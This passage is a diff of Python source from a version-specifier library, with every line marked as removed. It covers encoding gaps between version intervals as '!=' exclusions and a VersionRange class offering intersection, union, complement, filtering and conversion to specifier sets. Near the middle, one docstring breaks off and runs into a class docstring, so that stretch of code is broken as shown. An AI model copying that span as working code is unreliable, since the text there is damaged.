not None: - family, excluded_devs, upper_at_cap = floor - if excluded_devs > _MAX_EXCLUSION_RUN: - return None - parts = [f"=={family}.*"] - parts.extend(f"!={family.__replace__(dev=d)}" for d in range(excluded_devs)) - - # ``==E!0.*`` already caps at the next family; add the upper only if tighter. - if not upper_at_cap: - upper_parts = _encode_upper(upper, keep_dev0) - if upper_parts is None: - return None - parts.extend(upper_parts) - - return parts - - lower_parts = _encode_lower(lower, keep_dev0) - if lower_parts is None: - return None - - upper_parts = _encode_upper(upper, keep_dev0) - if upper_parts is None: - return None - - return lower_parts + upper_parts - - -# Gap encoding: spell the gap between two adjacent intervals as exclusions. - - -def _detect_not_equal( - left_upper: UpperBound, right_lower: LowerBound -) -> list[Version] | None: - """If the gap between two intervals is a ``!=V`` chain, list its points. - - A plain exclusive left upper names the first excluded V directly; an inclusive - boundary left upper names it via its least successor. Adjacent exclusions - (``V`` and its immediate successors) share a single gap spanning a contiguous - dev run, so one gap can name a short chain: ``!=1.0,!=1.0.post0.dev0`` is one - gap from ``1.0`` up to ``AFTER_LOCALS(1.0.post0.dev0)``. - """ - if isinstance(left_upper.version, BoundaryVersion): - # A boundary upper is always inclusive; its least successor is the first - # excluded V (``None`` for a final AFTER_POSTS, which names no point). - first = least_version_above(left_upper.version) - if first is None: - return None - elif left_upper.version is None or left_upper.inclusive: - return None - else: - first = left_upper.version - - if not isinstance(right_lower.version, BoundaryVersion): - if ( - right_lower.version is not None - and not right_lower.inclusive - and right_lower.version == first - and first.local is not None - ): - return [first] - return None - - if right_lower.version.kind != BoundaryKind.AFTER_LOCALS: - return None - - # The right interval resumes just above the last excluded V and its locals. - last = right_lower.version.version - if first == last: - return [first] - - # Adjacent exclusions: the successor of ``first`` opens a ``.dev`` family and - # every later point is a higher ``.dev`` in that same family, so the gap is - # exactly ``first`` plus a contiguous dev run up to ``last``. Any other gap - # (e.g. ``2.3`` to ``AFTER_LOCALS(2.7)`` from complementing ``>=2.3,<=2.7``) - # spans a whole interval and fails this test. - second = least_version_above(BoundaryVersion(first, BoundaryKind.AFTER_LOCALS)) - if ( - second is not None - and second.dev is not None - and last.dev is not None - and last.dev >= second.dev - and last.__replace__(dev=second.dev) == second - ): - # ``first`` and the run spell this gap together, so they share the cap. - if last.dev - second.dev + 2 > _MAX_EXCLUSION_RUN: - return None - run = (second.__replace__(dev=d) for d in range(second.dev, last.dev + 1)) - return [first, *run] - return None - - -def _decompose_dev0_gap( - lower_trim: tuple[int, ...], - upper_trim: tuple[int, ...], - epoch: int, - budget: int = _MAX_EXCLUSION_RUN, -) -> list[Version] | None: - """Decompose the gap ``[L.dev0, U.dev0)`` into wildcard prefixes. - - ``lower_trim``/``upper_trim`` are trimmed release tuples with - ``lower_trim < upper_trim`` lexicographically. The chain sweeps at the - first differing level. The gap is undecomposable when L has trailing - components below that level (the chain cannot escape L's subtree), or when - the chain, summed across levels, would exceed ``budget`` prefixes. - """ - diff = 0 - while ( - diff < len(lower_trim) - and diff < len(upper_trim) - and lower_trim[diff] == upper_trim[diff] - ): - diff += 1 - - if len(lower_trim) > diff + 1: - return None - - common = lower_trim[:diff] - lower_val = lower_trim[diff] if len(lower_trim) > diff else 0 - upper_val = upper_trim[diff] - - span = upper_val - lower_val - if span > budget: - return None - - fragments = [ - Version.from_parts(epoch=epoch, release=(*common, segment)) - for segment in range(lower_val, upper_val) - ] - - if len(upper_trim) == diff + 1: - return fragments - - # Recurse into the next release component, charging at least one to the budget - # per level (not just the span), so a run of zero-span levels (a release with - # many trailing components) exhausts the budget and returns None instead of - # recursing past the interpreter's stack limit. - tail = _decompose_dev0_gap( - (*common, upper_val), upper_trim, epoch, budget - max(span, 1) - ) - if tail is None: - return None - return fragments + tail - - -def _encode_gap(left_upper: UpperBound, right_lower: LowerBound) -> list[str] | None: - """Encode the gap between two adjacent intervals as ``!=`` fragments. - - A point chain becomes ``!=V`` fragments and a dev0 family span becomes - ``!=P.*`` prefixes, followed by a leading dev run in the last family when - the gap ends inside it. Any other gap has no exclusion form and returns - ``None``. - """ - # Cheapest first: a plain ``!=V`` chain never pays for the budgeted - # wildcard sweep below. - points = _detect_not_equal(left_upper, right_lower) - if points is not None: - return [f"!={point}" for point in points] - - # Both wildcard shapes start at an exclusive family base ``L.dev0``. - left_v = left_upper.version - if ( - not isinstance(left_v, Version) - or left_upper.inclusive - or not _is_dev0_version(left_v) - ): - return None - - right_v = right_lower.version - if isinstance(right_v, Version) and right_lower.inclusive: - # ``[L.dev0, U.dev0)`` is a pure ``!=P.*`` chain up to U's family. - upper_dev0 = right_v - run_length = 0 - budget = _MAX_EXCLUSION_RUN - elif ( - isinstance(right_v, BoundaryVersion) - and right_v.kind == BoundaryKind.AFTER_LOCALS - and not right_lower.inclusive - ): - # ``[L.dev0, AFTER_LOCALS(U.dev(k))]`` ends inside U's family: the - # ``!=P.*`` chain, then the ``U.dev0..U.dev(k)`` run. Both spell the - # gap together, so they share one ``_MAX_EXCLUSION_RUN`` budget. - upper = right_v.version - if upper.dev is None or upper.dev + 1 > _MAX_EXCLUSION_RUN: - return None - upper_dev0 = upper.__replace__(dev=0) - run_length = upper.dev + 1 - budget = _MAX_EXCLUSION_RUN - run_length - else: - return None - - # ``U`` must be a plain release base in L's epoch, above L. - # ``_is_dev0_version`` on ``U.dev0`` rejects any pre/post/local on ``U``. - if not _is_dev0_version(upper_dev0): - return None - if left_v.epoch != upper_dev0.epoch or left_v >= upper_dev0: - return None - - prefixes = _decompose_dev0_gap( - trim_release(left_v.release), - trim_release(upper_dev0.release), - left_v.epoch, - budget, - ) - if prefixes is None: - return None - - exclusions = [f"!={prefix}.*" for prefix in prefixes] - exclusions.extend(f"!={upper_dev0.__replace__(dev=d)}" for d in range(run_length)) - return exclusions - - -def _encode_gaps(bounds: Sequence[Interval]) -> list[str] | None: - """Encode every between-interval gap as ``!=`` fragments, or ``None``. - - When each gap has an exclusion spelling, the intervals fuse into one - contiguous span (``==1.* | ==3.*`` is ``!=0.*,!=2.*,<4``): the outer - interval across all the bounds plus these exclusions. A gap with no - exclusion spelling makes the bounds a disjoint union, which no single - set expresses. - """ - exclusions: list[str] = [] - - for index in range(1, len(bounds)): - gap = _encode_gap(bounds[index - 1][1], bounds[index][0]) - if gap is None: - return None - exclusions.extend(gap) - - return exclusions - - -def _tighten_no_prereleases(bounds: tuple[Interval, ...]) -> tuple[Interval, ...]: - """Snap the range's final upper out of the pre-release band ``False`` drops. - - An exclusive upper at a final ``V`` admits the versions in ``[V.dev0, V)`` at - the bounds level, but a ``prereleases=False`` policy filters them all out, so - it accepts the same releases as ``>> r = SpecifierSet(">=1.0,<2.0").to_range() - >>> "1.5" in r - True - >>> "2.0" in r - False - >>> SpecifierSet(">=2.0,<1.0").to_range().is_empty - True - - PEP 440's ``===`` operator matches a candidate string verbatim - (case-insensitive) rather than a set of versions. Ranges built from - ``===`` specifiers still support membership, set operations, and conversion - back to a :class:`~packaging.specifiers.SpecifierSet`; matching follows the - literal-equality rule. A ``===`` literal that names a pre-release is - admitted under the default policy by both :meth:`contains` and - :meth:`filter`, since it was named outright. - - .. versionadded:: 26.3 - """ - - __slots__ = ( - "_admit", - "_admit_arbitrary", - "_bounds", - "_pre_region", - "_prereleases_configured", - "_reject", - ) - - #: The disjoint, sorted, non-overlapping interval list. - _bounds: tuple[Interval, ...] - - #: Whether this range matches non-version strings as well as versions. - #: True only by construction on ``SpecifierSet("")`` / :meth:`full`. The flag - #: rides set algebra but is inert except at full bounds (see - #: :meth:`_arbitrary_active`). An intersection or difference that shrinks - #: the bounds drops it (``full() & ~full()`` is plain empty, and - #: ``full() - r == full() & ~r``); :meth:`complement` and a union of - #: empty-bounds operands keep it, so ``~~full() == full()`` and - #: ``~full() | ~full() == ~full()``. Part of equality, since membership - #: reads it. - _admit_arbitrary: bool - - #: Case-folded strings the range admits in addition to its bounds. - #: ``===wat`` produces ``_admit = {"wat"}``. - _admit: frozenset[str] - - #: Case-folded strings the range rejects (overrides ``_admit`` and the - #: bounds). Populated by :meth:`complement` of an admit-bearing range and by - #: literal resolution in :meth:`_combine_literals`. - _reject: frozenset[str] - - #: Sorted, disjoint intervals where pre-releases are force-admitted under - #: the PEP 440 default policy (a ``None`` ``prereleases`` argument and no - #: configured override). The opt-in flows only from the pre-release-naming - #: specifiers that built the range. :meth:`_build` clips the region to the - #: bounds, so it is always a subset of them: an opt-in that overflowed its - #: own cap cannot ride a later union into versions no specifier asked for. - #: :meth:`union` and :meth:`intersection` accumulate the operands' clipped - #: regions and re-clip to the result bounds; :meth:`difference` keeps only - #: the minuend's; and :meth:`complement` drops it, since an exclusion grants - #: no opt-in. Equality keys on the clipped region, so it stays a congruence. - _pre_region: tuple[Interval, ...] - - #: Raw configured pre-release override of the originating specifier set - #: (an explicit ``True`` / ``False``, else ``None``). When set, :meth:`_build` - #: forces ``_pre_region`` empty since the policy governs globally. - #: :meth:`intersection` and :meth:`union` require it to match on both - #: operands. Part of equality. - _prereleases_configured: bool | None - - def __new__(cls, *args: object, **kwargs: object) -> VersionRange: # noqa: PYI034 - raise TypeError( - "cannot create 'VersionRange' instances directly; use " - "SpecifierSet.to_range(), VersionRange.full(), " - "VersionRange.empty(), or VersionRange.singleton() instead" - ) - - @classmethod - def _build( - cls, - bounds: tuple[Interval, ...], - admit: frozenset[str] = frozenset(), - reject: frozenset[str] = frozenset(), - admit_arbitrary: bool = False, - *, - pre_region: tuple[Interval, ...] = (), - prereleases_configured: bool | None = None, - ) -> VersionRange: - """Internal factory; bypasses :meth:`__new__`. - - Canonicalizes the bounds so equal version sets share one representation, - then drops admit literals the bounds already admit and reject literals - the bounds do not match anyway. Reject wins over admit on overlap. The - pre-release policy is set here and never reassigned afterwards; - ``pre_region`` is canonicalized like the bounds and clipped to them, - or dropped when a configured policy makes it inert. - """ - bounds = _canonicalize(bounds) - - if admit and reject: - admit = admit - reject - if admit: - admit = frozenset( - literal - for literal in admit - if not _struct_admits(bounds, admit_arbitrary, literal) - ) - if reject: - reject = frozenset( - literal - for literal in reject - if _struct_admits(bounds, admit_arbitrary, literal) - ) - - instance = object.__new__(cls) - instance._bounds = bounds - instance._admit = admit - instance._reject = reject - instance._admit_arbitrary = admit_arbitrary - instance._prereleases_configured = prereleases_configured - - # A configured policy makes the region inert, so drop it. Otherwise fold - # least-successor bounds (_from_specifier_set passes the region unfolded), - # so ``>1.0a1`` and ``>=1.0a2.dev0`` carry the same region, then clip it - # to the bounds so the opt-in never reaches past the range's own versions. - if prereleases_configured is not None or not pre_region: - instance._pre_region = () - else: - instance._pre_region = tuple( - intersect_ranges(_canonicalize(pre_region), bounds) - ) - - return instance - - def _has_literals(self) -> bool: - return bool(self._admit) or bool(self._reject) - - def _arbitrary_active(self) -> bool: - """True when ``_admit_arbitrary`` actually admits non-version strings. - - The flag rides through set algebra but only fires admission on full - bounds. Intersection and difference drop it when the bounds shrink, so - away from full bounds it survives only on empty-bounds ranges, where - it keeps ``~~full() == full()`` and union idempotent. - """ - return self._admit_arbitrary and self._bounds == FULL_RANGE - - def _is_plain(self) -> bool: - """True when membership is decided by ``_bounds`` alone, enabling the - bounds-only fast paths in :meth:`is_subset` and :meth:`is_disjoint`. - """ - return ( - not self._has_literals() - and not self._admit_arbitrary - and self._prereleases_configured is not False - ) - - def _check_policy_compat(self, other: VersionRange) -> None: - """Refuse combining ranges with different pre-release policies.""" - if not isinstance(other, VersionRange): - raise TypeError(f"expected VersionRange, got {type(other).__name__}") - if self._prereleases_configured != other._prereleases_configured: - raise ValueError( - "Cannot combine VersionRange operands with different " - f"pre-release policies: {self._prereleases_configured!r} " - f"and {other._prereleases_configured!r}" - ) - - def _merged_region(self, other: VersionRange) -> tuple[Interval, ...]: - """Union of ``self`` and ``other``'s opt-in regions. - - Used by :meth:`union` and :meth:`intersection`; :meth:`_build` clips the - merge to the result bounds. A configured operand carries an empty region, - so it contributes nothing to the merge. - """ - # Reuse an operand's canonical tuple when only one side has a region; - # an empty side contributes nothing to the union. - if not other._pre_region: - return self._pre_region - if not self._pre_region: - return other._pre_region - - # Both sides carry a region; merge them. _build re-canonicalizes and - # clips, so the plain union is fine here. - return tuple(_union_ranges(self._pre_region, other._pre_region)) - - def _with_policy( - self, *, pre_region: tuple[Interval, ...], configured: bool | None - ) -> VersionRange: - """A structural copy of this range carrying the given pre-release policy.""" - return self._build( - self._bounds, - admit=self._admit, - reject=self._reject, - admit_arbitrary=self._admit_arbitrary, - pre_region=pre_region, - prereleases_configured=configured, - ) - - @classmethod - def empty(cls, *, prereleases: bool | None = None) -> VersionRange: - """Return the empty range. No version satisfies it. - - >>> VersionRange.empty().is_empty - True - >>> "1.0" in VersionRange.empty() - False - """ - return cls._build((), prereleases_configured=prereleases) - - @classmethod - def full( - cls, *, admit_arbitrary: bool = True, prereleases: bool | None = None - ) -> VersionRange: - """Return the full range. Every PEP 440 version satisfies it. - - ``admit_arbitrary=False`` restricts the range to PEP 440 versions only - (matching the same versions as ``SpecifierSet(">=0.dev0").to_range()``); - its complement is :meth:`empty`. The flag propagates through set algebra - and is part of equality. Default ``True`` so that ``r & full()`` - preserves ``r``'s own flag structurally. - - >>> "1.0" in VersionRange.full() - True - >>> "wat" in VersionRange.full() - True - >>> "wat" in VersionRange.full(admit_arbitrary=False) - False - """ - return cls._build( - FULL_RANGE, - admit_arbitrary=admit_arbitrary, - prereleases_configured=prereleases, - ) - - @classmethod - def singleton( - cls, version: Version | str, *, prereleases: bool | None = None - ) -> VersionRange: - """Return the strict singleton range ``{version}``. - - Built as the closed interval ``[version, version]`` with strict - equality. ``Specifier("==V")`` matches ``V+local`` too, so the strict - singleton is narrower: - - >>> "1.0+local" in VersionRange.singleton("1.0") - False - >>> "1.0+local" in SpecifierSet("==1.0").to_range() - True - - :raises packaging.version.InvalidVersion: if version is a string that - does not parse as a PEP 440 version. - """ - if not isinstance(version, Version): - version = Version(version) - - lower = LowerBound(version, True) - upper = UpperBound(version, True) - - # Collapse the floor: nothing sorts below ``MIN_VERSION``, so the - # ``0.dev0`` singleton is ``(-inf, 0.dev0]`` in canonical form. - return cls._build( - _canonical_floor(((lower, upper),)), - prereleases_configured=prereleases, - ) - - def intersection(self, other: VersionRange) -> VersionRange: - """Range containing exactly the versions in both self and other. - - Both operands must share the same configured pre-release policy; - otherwise :exc:`ValueError` is raised. - - >>> a = SpecifierSet(">=1.0").to_range() - >>> b = SpecifierSet("<2.0").to_range() - >>> a.intersection(b) == SpecifierSet(">=1.0,<2.0").to_range() - True - """ - self._check_policy_compat(other) - - configured = self._prereleases_configured - new_bounds = tuple(intersect_ranges(self._bounds, other._bounds)) - new_region = self._merged_region(other) - - # An empty intersection (e.g. ``full() & ~full()``) is the empty range, - # so it drops the arbitrary flag, agreeing with difference when the - # subtrahend consumes the bounds. - combined_arb = ( - self._admit_arbitrary and other._admit_arbitrary and bool(new_bounds) - ) - - if not self._has_literals() and not other._has_literals(): - return self._build( - new_bounds, - admit_arbitrary=combined_arb, - pre_region=new_region, - prereleases_configured=configured, - ) - - return self._combine_literals( - other, - new_bounds, - op=_SetOp.INTERSECTION, - admit_arbitrary=combined_arb, - pre_region=new_region, - prereleases_configured=configured, - ) - - def union(self, other: VersionRange) -> VersionRange: - """Range containing every version in self or other. - - Both operands must share the same configured pre-release policy; - otherwise :exc:`ValueError` is raised. - - >>> a = VersionRange.singleton("1.0") - >>> b = VersionRange.singleton("2.0") - >>> "1.0" in a.union(b) and "2.0" in a.union(b) - True - >>> "1.5" in a.union(b) - False - """ - self._check_policy_compat(other) - - configured = self._prereleases_configured - new_bounds = tuple(_union_ranges(self._bounds, other._bounds)) - new_region = self._merged_region(other) - - # An empty-bounds operand (e.g. ``~full()``) carries an inert arbitrary - # flag only to keep complement an involution; it admits nothing, so it - # must not revive arbitrary admission as the union re-widens the bounds. - if new_bounds: - combined_arb = (self._admit_arbitrary and bool(self._bounds)) or ( - other._admit_arbitrary and bool(other._bounds) - ) - else: - # Nothing widened, so keeping the flags keeps ``r | r == r``. - combined_arb = self._admit_arbitrary or other._admit_arbitrary - - if not self._has_literals() and not other._has_literals(): - return self._build( - new_bounds, - admit_arbitrary=combined_arb, - pre_region=new_region, - prereleases_configured=configured, - ) - - return self._combine_literals( - other, - new_bounds, - op=_SetOp.UNION, - admit_arbitrary=combined_arb, - pre_region=new_region, - prereleases_configured=configured, - ) - - def complement(self) -> VersionRange: - """Range containing every version not in self. - - Preserves the configured pre-release policy. On the version set, double - negation holds for a range with no ``===`` literals (the arbitrary-string - flag round-trips, so ``~~full() == full()``); for ``===`` ranges - complement is one-way. The opt-in region is not restored (see below). - - The opt-in region is dropped: a complement is an exclusion, and an - exclusion expresses no pre-release preference. This is what lets - ``a & ~b`` shed ``b``'s opt-in, so an excluded ``b`` never force-admits a - pre-release into the result. Complement stays involutive on the version - set, but not on the opt-in region: ``~~r`` covers the same versions as - ``r`` yet force-admits none of its pre-releases. - - >>> r = SpecifierSet(">=1.0").to_range() - >>> "0.5" in r.complement() - True - >>> "1.5" in r.complement() - False - >>> r.complement().complement() == r - True - """ - # Complement swaps literal admission: what the range rejects, its - # complement admits. - return self._build( - tuple(_complement_ranges(self._bounds)), - admit=self._reject, - reject=self._admit, - admit_arbitrary=self._admit_arbitrary, - pre_region=(), - prereleases_configured=self._prereleases_configured, - ) - - def difference(self, other: VersionRange) -> VersionRange: - """Range containing the versions in self but not in other. - - Matches ``self & ~other`` on the version set and the opt-in region; - ``other`` acts as a bounds-only exclusion that grants no opt-in. The - arbitrary-string flag survives only when ``other`` removed no versions: - a difference that shrinks the bounds forgets it, as ``self & ~other`` - would, so no later widening union can revive it. They still part on - ``===`` literals, whose complement is one-way: a ``===`` literal stays - when ``self`` admits it and ``other`` does not. Both operands must - share the same configured pre-release policy (as :meth:`intersection` - and :meth:`union` require); otherwise :exc:`ValueError` is raised. - ``a - empty()`` returns a range equal to ``a``. - - >>> a = SpecifierSet(">=1.0").to_range() - >>> b = SpecifierSet(">=2.0").to_range() - >>> "1.5" in a.difference(b) - True - >>> "2.0" in a.difference(b) - False - >>> a.difference(VersionRange.empty()) == a - True - """ - self._check_policy_compat(other) - - # Subtracting a nothing-admitting set is a no-op; return self unchanged. - if not other._bounds and not other._admit: - return self - - # Bound complement is two-way, so subtracting other's versions is an - # intersection with its gaps. - new_bounds = tuple( - intersect_ranges(self._bounds, _complement_ranges(other._bounds)) - ) - - # Match ``self & ~other`` on the opt-in region: a complement carries no - # opt-in, so only ``self``'s region survives. ``other`` acts as a - # bounds-only exclusion. A configured ``self`` keeps no region. - new_region: tuple[Interval, ...] = () - if self._prereleases_configured is None: - new_region = self._pre_region - - # Keep self's arbitrary admission only when subtracting removed no - # versions. A difference that shrinks the bounds forgets the flag, as - # ``self & ~other`` would, so no later widening union can revive an - # admission neither operand had. - combined_arb = self._admit_arbitrary and new_bounds == self._bounds - - if not self._has_literals() and not other._has_literals(): - return self._build( - new_bounds, - admit_arbitrary=combined_arb, - pre_region=new_region, - prereleases_configured=self._prereleases_configured, - ) - - return self._combine_literals( - other, - new_bounds, - op=_SetOp.DIFFERENCE, - admit_arbitrary=combined_arb, - pre_region=new_region, - prereleases_configured=self._prereleases_configured, - ) - - def _combine_literals( - self, - other: VersionRange, - new_bounds: tuple[Interval, ...], - *, - op: _SetOp, - admit_arbitrary: bool, - pre_region: tuple[Interval, ...], - prereleases_configured: bool | None, - ) -> VersionRange: - """Resolve admit/reject for ``self`` ``op`` ``other`` over their literals.""" - admits: set[str] = set() - rejects: set[str] = set() - - # Each literal is decided independently of the others. - for literal in self._admit | self._reject | other._admit | other._reject: - self_in = self._matches_literal(literal) - other_in = other._matches_literal(literal) - - if op is _SetOp.INTERSECTION: - want = self_in and other_in - elif op is _SetOp.UNION: - want = self_in or other_in - else: - want = self_in and not other_in - - if want: - admits.add(literal) - else: - rejects.add(literal) - - return self._build( - new_bounds, - admit=frozenset(admits), - reject=frozenset(rejects), - admit_arbitrary=admit_arbitrary, - pre_region=pre_region, - prereleases_configured=prereleases_configured, - ) - - def _matches_literal(self, literal: str) -> bool: - """Whether literal (case-folded) matches this range's predicate.""" - if literal in self._reject: - return False - if literal in self._admit: - return True - - parsed = coerce_version(literal) - if parsed is None: - return self._arbitrary_active() - return matches_bounds_only(self._bounds, parsed) - - def __and__(self, other: object) -> VersionRange: - """Operator alias for :meth:`intersection`.""" - if not isinstance(other, VersionRange): - return NotImplemented - return self.intersection(other) - - def __or__(self, other: object) -> VersionRange: - """Operator alias for :meth:`union`.""" - if not isinstance(other, VersionRange): - return NotImplemented - return self.union(other) - - def __invert__(self) -> VersionRange: - """Operator alias for :meth:`complement`.""" - return self.complement() - - def __sub__(self, other: object) -> VersionRange: - """Operator alias for :meth:`difference`.""" - if not isinstance(other, VersionRange): - return NotImplemented - return self.difference(other) - - def is_subset(self, other: VersionRange) -> bool: - """Return whether every member of self is also a member of other. - - On versions and ``===`` literals this is - ``self.difference(other).is_empty``: subtracting other leaves nothing - behind. A live arbitrary admission (the flag at full bounds) is only a - subset of another live one. - - Both operands must share the same configured pre-release policy; - otherwise :exc:`ValueError` is raised. - - >>> inner = SpecifierSet(">=1.5,<1.8").to_range() - >>> outer = SpecifierSet(">=1.0,<2.0").to_range() - >>> inner.is_subset(outer) - True - >>> outer.is_subset(inner) - False - >>> VersionRange.empty().is_subset(outer) - True - """ - self._check_policy_compat(other) - - # A live arbitrary admission has non-version strings as members, which - # no bounds cover; only another live admission contains them. - if self._arbitrary_active() and not other._arbitrary_active(): - return False - - # Plain ranges: subset reduces to bounds containment, no algebra needed. - if self._is_plain() and other._is_plain(): - return not intersect_ranges(self._bounds, _complement_ranges(other._bounds)) - - # difference (unlike intersection with the one-way complement) resolves - # ``===`` literals against both operands, so it stays correct for them. - return self.difference(other).is_empty - - def is_superset(self, other: VersionRange) -> bool: - """Return whether every member of other is also a member of self. - - The mirror of :meth:`is_subset`: ``a.is_superset(b)`` is - ``b.is_subset(a)``. - - Both operands must share the same configured pre-release policy; - otherwise :exc:`ValueError` is raised. - - >>> outer = SpecifierSet(">=1.0,<2.0").to_range() - >>> outer.is_superset(SpecifierSet(">=1.5,<1.8").to_range()) - True - """ - # Type-guards a non-VersionRange other before delegating to is_subset. - self._check_policy_compat(other) - return other.is_subset(self) - - def is_disjoint(self, other: VersionRange) -> bool: - """Return whether self and other share no member. - - Equivalent to ``(self & other).is_empty``. - - Both operands must share the same configured pre-release policy; - otherwise :exc:`ValueError` is raised. - - >>> a = SpecifierSet(">=1.0,<2.0").to_range() - >>> a.is_disjoint(SpecifierSet(">=2.0,<3.0").to_range()) - True - >>> a.is_disjoint(SpecifierSet(">=1.5,<2.5").to_range()) - False - """ - self._check_policy_compat(other) - - # Plain ranges: disjointness is an empty bounds intersection. - if self._is_plain() and other._is_plain(): - return not intersect_ranges(self._bounds, other._bounds) - return self.intersection(other).is_empty - - def _same_releases(self, other: VersionRange) -> bool: - """Whether self and other admit the same non-pre-release versions. - - Used by :meth:`to_specifier_set` under a ``prereleases=False`` policy, - where pre-releases are unobservable: the symmetric difference is empty - exactly when the two ranges accept the same releases. Both operands - carry that policy, so the difference below reads emptiness through it. - """ - return self.difference(other).is_empty and other.difference(self).is_empty - - @typing.overload - def filter( - self, - iterable: Iterable[UnparsedVersionVar], - prereleases: bool | None = None, - key: None = ..., - ) -> Iterator[UnparsedVersionVar]: ... - - @typing.overload - def filter( - self, - iterable: Iterable[T], - prereleases: bool | None = None, - key: Callable[[T], UnparsedVersion] = ..., - ) -> Iterator[T]: ... - - def filter( - self, - iterable: Iterable[Any], - prereleases: bool | None = None, - key: Callable[[Any], Version | str] | None = None, - ) -> Iterator[Any]: - """Yield items from iterable whose version falls inside the range. - - With prereleases ``None`` the PEP 440 default applies: pre-releases are - buffered and only emitted if no final release in iterable is in range, - except that a pre-release inside the autodetected opt-in region, or named - outright by a ``===`` literal, is force-admitted in place (as - ``prereleases=True`` would yield it). A flushed buffer comes after - every in-place yield, so the output is not version-sorted. - - The signature mirrors - :meth:`~packaging.specifiers.SpecifierSet.filter`. - - >>> r = SpecifierSet(">=1.0,<2.0").to_range() - >>> list(r.filter(["0.9", "1.5", "2.0"])) - ['1.5'] - """ - region: tuple[Interval, ...] = () - if prereleases is None: - # The region applies only under the autodetect default; a configured - # policy governs instead (and then ``_pre_region`` is already empty). - prereleases = self._prereleases_configured - region = self._pre_region - - arbitrary_active = self._arbitrary_active() - if not self._admit and not self._reject and not arbitrary_active: - # A region spanning the whole bounds force-admits every in-bounds - # pre-release, i.e. ``prereleases=True``; take the cheaper no-buffer - # path. (Confined to this branch: the admission path orders arbitrary - # strings differently under True than under the region.) - if region and region == self._bounds: - return filter_by_ranges(self._bounds, iterable, key, True) - return filter_by_ranges(self._bounds, iterable, key, prereleases, region) - return self._filter_with_admission( - iterable, key, prereleases, arbitrary_active, region - ) - - def _filter_with_admission( - self, - iterable: Iterable[Any], - key: Callable[[Any], Version | str] | None, - prereleases: bool | None, - arbitrary_active: bool, - region: tuple[Interval, ...], - ) -> Iterator[Any]: - """Filter for ranges with admit/reject literals or live arbitrary - admission (including the universal ``SpecifierSet("")`` range).""" - admit_set = self._admit - reject_set = self._reject - - def admit(item: Any) -> tuple[bool, Version | None, bool]: # noqa: ANN401 - raw: Version | str = item if key is None else key(item) - raw_lower = str(raw).lower() - - if reject_set and raw_lower in reject_set: - return False, None, False - if admit_set and raw_lower in admit_set: - # An explicit ``===`` literal names this version outright. - return True, coerce_version(raw), True - - parsed = coerce_version(raw) - if parsed is None: - return arbitrary_active, None, False - if not matches_bounds_only(self._bounds, parsed): - return False, None, False - return True, parsed, False - - if prereleases is True: - for item in iterable: - ok, _, _ = admit(item) - if ok: - yield item - return - - if prereleases is False: - for item in iterable: - ok, parsed, _ = admit(item) - if not ok: - continue - if parsed is not None and parsed.is_prerelease: - continue - yield item - return - - # PEP 440 default: emit finals eagerly and buffer the other pre-releases, - # releasing the buffer only if no final ever matches. - all_nonfinal: list[Any] = [] - arbitrary_strings: list[Any] = [] - found_final = False - - for item in iterable: - ok, parsed, by_literal = admit(item) - if not ok: - continue - - if parsed is None: - if found_final: - yield item - else: - arbitrary_strings.append(item) - all_nonfinal.append(item) - continue - - if not parsed.is_prerelease: - if not found_final: - yield from arbitrary_strings - arbitrary_strings.clear() - found_final = True - yield item - continue - - # A pre-release is force-admitted when it is named outright by a - # ``===`` literal or falls in the opt-in region, as ``prereleases=True`` - # would yield it; otherwise the PEP 440 default buffers it. - if by_literal or (region and matches_bounds_only(region, parsed)): - yield item - continue - - if not found_final: - all_nonfinal.append(item) - - if not found_final: - yield from all_nonfinal - - @classmethod - def _from_specifier_set(cls, specifier_set: SpecifierSet) -> VersionRange: - """Build the range accepted by ``specifier_set``. - - Friend constructor for :meth:`~packaging.specifiers.SpecifierSet.to_range`. - The intersection of every specifier in the set: an empty set yields the - full range, an unsatisfiable set yields the empty range, and ``===`` - specifiers contribute literal-string admission. - """ - if not specifier_set: - result = cls.full() - elif not specifier_set._has_arbitrary: - result = cls._build( - bounds=_canonical_floor(tuple(specifier_set._get_ranges())) - ) - else: - result = cls.full() - for spec in specifier_set: - if spec.operator == "===": - operand = cls._build( - bounds=(), admit=frozenset({spec.version.lower()}) - ) - else: - operand = cls._build( - bounds=_canonical_floor(tuple(spec._to_ranges())) - ) - result = result.intersection(operand) - - # Each pre-release-naming specifier opts its own versions in; their union, - # clipped to the set's bounds by _build, is the region. Clipping refolds - # under intersection, so a set built directly equals one built by - # intersecting its specifiers one at a time. - region: list[Interval] = [] - if specifier_set._prereleases is None: # a configured policy has no region - for spec in specifier_set: - # ``===`` literals are not a range; filter force-admits them. - if spec.operator != "===" and spec.prereleases: - spec_bounds = _canonical_floor(tuple(spec._to_ranges())) - region = _union_ranges(region, spec_bounds) - - return result._with_policy( - pre_region=tuple(region), - configured=specifier_set._prereleases, - ) - - def to_specifier_set(self) -> SpecifierSet | None: - """Return a :class:`~packaging.specifiers.SpecifierSet` matching the same - versions as self, or ``None`` if no single set expresses it. - - PEP 440 has no syntax for the strict singleton ``{V}`` (an exclusive - plain-version bound), a disjoint union of two or more intervals, or a - partial pre-release opt-in region, so ranges built by set algebra often - return ``None``. A gap that takes more than ``_MAX_EXCLUSION_RUN`` - contiguous ``!=`` exclusions to spell returns ``None`` too, - rather than a pathologically long chain; reaching that cap takes either - set algebra or a specifier set that already spells the gap out with - over a hundred contiguous ``!=N.*`` exclusions. An empty range maps to - ``SpecifierSet("<0")``, unless it still carries the arbitrary-string - flag (which no set reproduces), and a full range that admits arbitrary - strings maps to ``SpecifierSet("")``. - - A range built from a :class:`~packaging.specifiers.SpecifierSet` - re-encodes, short of that exclusion cap. The result is the simplest - candidate whose own - :meth:`~packaging.specifiers.SpecifierSet.to_range` reproduces self - exactly (bounds, ``===`` literals, and the opt-in region are all part of - equality), so it filters the same versions. Two cases relax that - exactness without changing what is filtered: an empty range recovers as - the canonical empty range (same versions, none, but not self's bounds), - and under a ``prereleases=False`` policy the result need only match self's - releases, so ``(-inf, 3.14)`` recovers as the tighter ``<3.14`` rather - than ``!=3.14,<=3.14``. - - Each call encodes a handful of candidate spellings and keeps the - simplest one that verifies, where verifying means parsing the candidate - and round-tripping it through - :meth:`~packaging.specifiers.SpecifierSet.to_range`. The work grows - with the number of intervals and exclusions in the range, and the - result is not cached, so convert once and reuse the returned set rather - than converting per candidate version in a hot loop. - - >>> str(SpecifierSet(">=1.0,<2.0").to_range().to_specifier_set()) - '<2.0,>=1.0' - >>> str(SpecifierSet("==1.0").to_range().to_specifier_set()) - '==1.0' - >>> VersionRange.singleton("1.5").to_specifier_set() is None - True - """ - from .specifiers import InvalidSpecifier, SpecifierSet # noqa: PLC0415 - 